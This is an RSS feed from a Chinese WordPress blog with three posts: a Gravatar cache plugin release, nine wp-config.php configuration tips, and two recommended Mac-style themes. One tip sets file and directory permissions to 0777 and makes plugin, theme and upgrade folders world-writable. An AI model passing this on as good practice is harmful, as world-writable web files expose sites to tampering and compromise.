<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacklog &#187; PHP</title>
	<atom:link href="http://ihacklog.com/cat/php/feed" rel="self" type="application/rss+xml" />
	<link>http://ihacklog.com</link>
	<description>荒野无灯weblog</description>
	<lastBuildDate>Sat, 04 Feb 2012 12:30:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>gravatar头像缓存插件——Hacklog Gravatar Cache 2.2 正式版发布</title>
		<link>http://ihacklog.com/php/wordpress/plugins/hacklog-gravatar-cache.html</link>
		<comments>http://ihacklog.com/php/wordpress/plugins/hacklog-gravatar-cache.html#comments</comments>
		<pubDate>Fri, 03 Feb 2012 15:01:55 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp插件]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=5336</guid>
		<description><![CDATA[插件特点 以前我一直是用的Scott Yang 的一个gravatar缓存脚本（@url http://fucoder.com/code/gravatar-cache/） 不过觉得此脚本还是有一些限制，如不能根据参数生成不同尺寸大小的头像缓存。 这次的Hacklog Gravatar Cache ，主要有以下特点： 1.支持使用cookie-free domain，加速缓存头像显示（也可以选择使用默认的域名） 2.可根据传递的参数缓存各种尺寸大小的头像，简而言之，显示头像再也不用靠浏览器缩放图片了，要显示...]]></description>
			<content:encoded><![CDATA[<h3>插件特点</h3>
<p>以前我一直是用的Scott Yang <scotty#yang.id.au>的一个gravatar缓存脚本（@url http://fucoder.com/code/gravatar-cache/）<br />
不过觉得此脚本还是有一些限制，如不能根据参数生成不同尺寸大小的头像缓存。<br />
这次的Hacklog Gravatar Cache ，主要有以下特点：</p>
<blockquote><p>1.支持使用cookie-free domain，加速缓存头像显示（也可以选择使用默认的域名）<br />
2.可根据传递的参数缓存各种尺寸大小的头像，简而言之，显示头像再也不用靠浏览器缩放图片了，要显示多大的图片，就给你多大的图片。这样亦能加速头像的显示（相对于要scale图像的情况而言）。<br />
3.头像的缓存处理仅使用一个独立的php文件，无需加载wp环境，给wp减轻负担，高效快速。<br />
4.可以通过访问url后加&#038;purge清空个别头像的缓存（评论者若发现自己头像不对可自行更新缓存）<br />
5.增加了后台配置，方便操作
</p></blockquote>
<p>为什么要使用Cookie-free Domains？，见这里：<br />
<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fdeveloper.yahoo.com%2Fperformance%2Frules.html%23cookie_free" target="_blank">Use Cookie-free Domains for Components</a></p>
<hr />
<h3>让头像使用独立域名(cookie-free domain)的方法</h3>
<p>例如，将 <strong>/var/www/path-to-static</strong> 绑定到 <strong>static.ihacklog.com</strong><br />
 使用 <strong>/var/www/path-to-static/gravatar_cache</strong> 目录存储头像</p>
<p>然后到后台修改配置,以上述情况为例：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">//缓存目录 /var/www/path-to-static/gravatar_cache/</span><br />
<span style="color: #666666; font-style: italic;">//缓存URL http://static.ihacklog.com/gravatar_cache/</span></div></td></tr></tbody></table></div>
<p>注意都要最后以/ 结尾。<br />
如图：<br />
<a href="http://static.ihacklog.com/wp-files/2012/02/hacklog-gravatar-cache-v2.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2012/02/hacklog-gravatar-cache-v2-550x262.png" alt="" title="hacklog-gravatar-cache-v2" width="550" height="262" class="alignnone size-medium wp-image-5339" /> </a><br />
目前我自己在使用。</p>
<h3>插件下载</h3>
注意：该页面嵌入了下载文件，请访问 <a href="http://ihacklog.com/php/wordpress/plugins/hacklog-gravatar-cache.html">该页面</a>下载该文件。

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=5336";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=5336" title="Permanent Link to gravatar头像缓存插件——Hacklog Gravatar Cache 2.2 正式版发布" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=5336</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年05月7日  //  <a href="http://ihacklog.com/software/cool_software_share/connect-to-windows-server-via-vnc-or-win-remote-desktop-under-linux.html" title="LINUX下连接远程WINOWS主机（VNC or WIN RDP）的工具">LINUX下连接远程WINOWS主机（VNC or WIN RDP）的工具</a> (1)</li><li>2011年07月13日  //  <a href="http://ihacklog.com/software/cool_software_share/total-commander.html" title="神器Total Commander之——wordpress源码校验">神器Total Commander之——wordpress源码校验</a> (1)</li><li>2011年04月3日  //  <a href="http://ihacklog.com/php/wordpress/setting-up-favicons-in-ie8-firefox-safari-and-opera.html" title="Setting up Favicons in IE8, Firefox, Safari, and Opera">Setting up Favicons in IE8, Firefox, Safari, and Opera</a> (3)</li><li>2011年01月1日  //  <a href="http://ihacklog.com/programming/remove-svn-folders.html" title="删除.svn目录的方法">删除.svn目录的方法</a> (0)</li><li>2008年10月1日  //  <a href="http://ihacklog.com/php/skills/php-common-error.html" title="php常见错误">php常见错误</a> (0)</li><li>2009年04月9日  //  <a href="http://ihacklog.com/php/discuz/discuz70luntanshouyebeijingyinlechajianbyhuangyewudengdaiyinlehexiuzhengban2009nian03yue13rigengxin.html" title="discuz7.0论坛首页背景音乐插件[By荒野无灯]（带音乐盒，修正版）2009年03月13日更新">discuz7.0论坛首页背景音乐插件[By荒野无灯]（带音乐盒，修正版）2009年03月13日更新</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/plugins/hacklog-gravatar-cache.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>玩转WordPress之配置篇——9条实用配置技巧</title>
		<link>http://ihacklog.com/php/wordpress/wpskills/9-practical-wordpress-configuration-skills.html</link>
		<comments>http://ihacklog.com/php/wordpress/wpskills/9-practical-wordpress-configuration-skills.html#comments</comments>
		<pubDate>Mon, 23 Jan 2012 14:31:54 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp技巧]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=5335</guid>
		<description><![CDATA[春节快乐，各位 好久没发文章了，这里把前些日子写的一篇日志发出来~~ WP的特点就是你可以完全按你自己的想法来建立属于你自己的博客,这里说一下几个比较实用的配置项。 新手注意事项： 不要用记事本编辑wp-config.php文件，也不要给这个文件末尾加上?&#62;标签。 以下所有涉及到要添加代码的，除非特别说明，否则，都是修改wp-config.php文件，需要添加的代码应该加在wp-config.php文件的 1/* That's all, stop editing! Happy blogging. ...]]></description>
			<content:encoded><![CDATA[<p>春节快乐，各位 <img src='http://ihacklog.com/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':smile:' class='wp-smiley' />  好久没发文章了，这里把前些日子写的一篇日志发出来~~</p>
<p>WP的特点就是你可以完全按你自己的想法来建立属于你自己的博客,这里说一下几个比较实用的配置项。</p>
<hr />
<p>新手注意事项：<br />
不要用记事本编辑wp-config.php文件，也不要给这个文件末尾加上<strong>?&gt;</strong>标签。<br />
以下所有涉及到要添加代码的，除非特别说明，否则，都是修改wp-config.php文件，需要添加的代码应该加在wp-config.php文件的</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">/* That's all, stop editing! Happy blogging. */</span></div></td></tr></tbody></table></div>
<p>这一条注释之上。</p>
<hr />
<h3>1.版本与语言</h3>
<p>目前英文版和中文版都能在官方下载到，不过如果你首先装的英文版，后来又想用中文版了也没关系，下载中文版的，然后把wp-content/languages目录下面的语言文件放到你博客的wp-content/languages 目录下面，再在wp-config.php中定义语言为中文即可，如：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WPLANG'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'zh_CN'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>什么？你想要前台使用中文，后面使用英文？可以，有个名叫 admin-in-english 的小插件，装上就能满足你的要求。<br />
如果要从单用户版转为多用户版，见我以前写过的文章。</p>
<h3>2.用多大内存，你说了算</h3>
<p>定义一般情况下允许wp使用的最大内存,如：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WP_MEMORY_LIMIT'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'30M'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>对于单用户博客，wp默认值是32M,对于多用户站点，默认是64M,你可以根据你的实际情况调整，如果你愿意的话。<br />
这个参数值最终将作用在php配置的memory_limit项上。</p>
<p>定义处理图片时允许使用的最大内存：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'WP_MAX_MEMORY_LIMIT'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'128M'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>因为wp默认是256M的，这在某些内存较小的vps上面的话，可能会导致内存超出可分配值的错误。因此，你可以根据自己的情况调整之。<br />
需要说明的是，这个限制仅用于限制imagecreatefromstring函数处理图片时的内存使用。因为GD在内存中处理图片时是没有压缩图片数据的。具体在function wp_load_image中有说明。</p>
<h3>3.博客出问题了？调试一下吧</h3>
<p>加上如下代码，WP将会老老实实的话所有错误信息显示出来：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'WP_DEBUG'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'WP_DEBUG_DISPLAY'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<h3>4.自动保存相关</h3>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">//每30秒自动保存一次：</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'AUTOSAVE_INTERVAL'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">30</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">//每周清理一次回收站（定义为0禁用回收站）：</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'EMPTY_TRASH_DAYS'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">7</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">//禁用日志修订</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WP_POST_REVISIONS'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<h3>5.用的Unix/Linux/BSD主机？用UNIX Socket连接mysql数据库吧</h3>
<p>如：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DB_HOST'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'localhost:/var/lib/mysql/mysql.sock'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<h3>6.更新插件或主题时出现“要执行请求的操作，WordPress 需要访问您网页服务器的权限。 请输入您的 FTP 登录XXXX的解决方法”</h3>
<p>这种情况一般是主机的目录所有者与php的执行者（一般是apache或lighthttpd，nginx等）不同导致的，一般采用suphp以cgi方式运行php的站点不会出现此情况。<br />
在wp-config.php中加入如下代码即可：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'FS_METHOD'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'direct'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'FS_CHMOD_DIR'</span><span style="color: #339933;">,</span> <span style="color: #208080;">0777</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'FS_CHMOD_FILE'</span><span style="color: #339933;">,</span> <span style="color: #208080;">0777</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>另外在wp-content目录下面新建一目录upgrade并且权限设置为777，插件目录plugins和主题目录themes也要给777权限（注意只是这两个目录本身，而不是目录下面的文件及目录！）</p>
<h3>7.想要cookie-free domain的图片URL ？这个也很简单</h3>
<p>你可以在同一服务器上面新建一子站点，如<strong>static.ihacklog.com</strong> ,假设把附件保存在wp-files目录下面，wp-files的绝对路径假设为<br />
<strong>/home/ihacklog.com/www/static</strong> (这个路径要根据你自己的主机确定）<br />
在后台，“<strong>设置</strong>”－－〉“<strong>媒体选项</strong>”<br />
<strong>文件上传</strong>处，默认上传路径填写绝对路径 <strong>/home/ihacklog.com/www/static</strong><br />
注意，假如你是windows主机的话，这个路径要用这样的形式，如：<strong>D:\\htdocs\\ihacklog.com\\static</strong><br />
文件的完整 URL 地址填写：<strong>http://static.ihacklog.com/wp-files</strong><br />
这样以后，再更新数据库中的URL信息：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">UPDATE wp_posts SET post_content<span style="color: #339933;">=</span> replace<span style="color: #009900;">&#40;</span>post_content<span style="color: #339933;">,</span><span style="color: #0000ff;">'http://your-domain.com/wp-content/uploads/'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'http://static.ihacklog.com/wp-files/'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>然后把你wp-content/uploads/目录下面的所有东东都移动到<strong>/home/ihacklog.com/www/static/wp-files/</strong> 目录下面即可。</p>
<h3>8.想把WP放在某个子目录下面？</h3>
<p>这个对于用cp等主机面板的用户比较实用。因为主站目录是public_html（实际上是指向www目录的一个符号链接）的话，子站的目录也是在这个目录下面。直接把WP装在这下面的话，整个站点目录就显得比较乱了。把wp安装在子目录下面比较好一些。如，把wp安装在wp目录下面：<br />
（这里假设你已经直接把wp安装在站点根目录下面了）<br />
先去后台，“常规” －－〉“常规”<br />
WordPress 地址（URL）填写： <strong>http://your-domain.com/wp</strong><br />
站点地址（URL）不变，还是：http://your-domain.com<br />
这样保存以后，在站点根目录下面新建一名为wp的目录，再把所有除.htaccess和 index.php的文件和目录全部移动到wp目录下面。<br />
修改index.php文件require语句为：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">require</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'./wp/wp-blog-header.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<h3>9.嫌默认的wp-login.php这个登录URL太麻烦？你可以修改它</h3>
<p>将以下代码放到当前主题的functions.php文件中：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; add_action<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'init'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'wp_login_url_rewrite'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> wp_login_url_rewrite<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; add_rewrite_rule<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'login/?$'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'wp-login.php'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'top'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>然后，访问一下“设置” －－〉“固定链接”（在这里什么事也不用干，打开一下这个页面即可），让wp自动更新一下rewrite规则好让规则即时生效。<br />
好了，现在你可以在你博客域名的后面直接加上 /login来访问登录页面了。</p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=5335";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=5335" title="Permanent Link to 玩转WordPress之配置篇——9条实用配置技巧" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=5335</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2009年05月24日  //  <a href="http://ihacklog.com/linux/ubuntu-desktop/linuxxiageshihuacipanmingling.html" title="Linux下格式化磁盘命令">Linux下格式化磁盘命令</a> (0)</li><li>2009年09月24日  //  <a href="http://ihacklog.com/php/wordpress/wpskills/cache-gravatar-and-speed-up-your-blog.html" title="缓存Gravatar 头像，博客再次提速">缓存Gravatar 头像，博客再次提速</a> (13)</li><li>2010年07月17日  //  <a href="http://ihacklog.com/software/cool_software_share/smartsniff-capture-tcpip-packets-on-your-network-adapter.html" title="SmartSniff:windows下的TCP/IP包捕获工具">SmartSniff:windows下的TCP/IP包捕获工具</a> (0)</li><li>2010年02月28日  //  <a href="http://ihacklog.com/software/cool_software_share/pro-tool-chen-feng-usb-drive-systemv2-0.html" title="电脑城装机专用工具：晨枫U盘维护工具V2.0">电脑城装机专用工具：晨枫U盘维护工具V2.0</a> (3)</li><li>2010年10月14日  //  <a href="http://ihacklog.com/linux/ubuntu-desktop/avast-linux-home-edition.html" title="avast linux home edition 在UBUNTU 10.04.1 LTS 下无法运行的解决办法">avast linux home edition 在UBUNTU 10.04.1 LTS 下无法运行的解决办法</a> (3)</li><li>2010年09月6日  //  <a href="http://ihacklog.com/software/cool_software_share/qq-exmail.html" title="QQ企业邮箱试用">QQ企业邮箱试用</a> (17)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/wpskills/9-practical-wordpress-configuration-skills.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>两个Mac风格主题推荐</title>
		<link>http://ihacklog.com/php/wordpress/theme/two-mac-like-wordpress-theme.html</link>
		<comments>http://ihacklog.com/php/wordpress/theme/two-mac-like-wordpress-theme.html#comments</comments>
		<pubDate>Sun, 08 Jan 2012 03:12:02 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[主题风格]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=5307</guid>
		<description><![CDATA[在浏览http://dirk.sh/这个博客时看到这个风格的。 i3Theme 下载：http://www.mangoorange.com/resources/i3theme/ FAQ Can I remove the drag-and-drop function? Yes, you can. Just go to the dbx-key.js and comment all the codes there. By doing so, you will also remove the toggle but...]]></description>
			<content:encoded><![CDATA[<p>在浏览<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fdirk.sh%2F" target="_blank">http://dirk.sh/</a>这个博客时看到这个风格的。</p>
<h3>i3Theme</h3>
<p>下载：<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fwww.mangoorange.com%2Fresources%2Fi3theme%2F" target="_blank">http://www.mangoorange.com/resources/i3theme/</a><br />
<a href="http://www.mangoorange.com/wp-content/uploads/2008/02/i3theme-5colours.jpg" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://www.mangoorange.com/wp-content/uploads/2008/02/i3theme-5colours.jpg" alt="i3theme" /> </a><br />
FAQ<br />
Can I remove the drag-and-drop function? Yes, you can. Just go to the dbx-key.js and comment all the codes there. By doing so, you will also remove the toggle button feature as well as the green/orange/grey button at the corner of the box.<br />
Can I remove sponsored links? Yes, you can. The license only required you to maintain the N. Design Studio , Mango Orange, and Already Hosting links.<br />
Why do wp_tags() fatal error appear? That&#8217;s because you need to upgrade to WordPress 2.3 as the wp_tags is a new feature in WordPress 2.3.</p>
<h3>i2Theme</h3>
<p>下载：<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fwww.mangoorange.com%2Fresources%2Fi2theme%2F" target="_blank">http://www.mangoorange.com/resources/i2theme/</a></p>
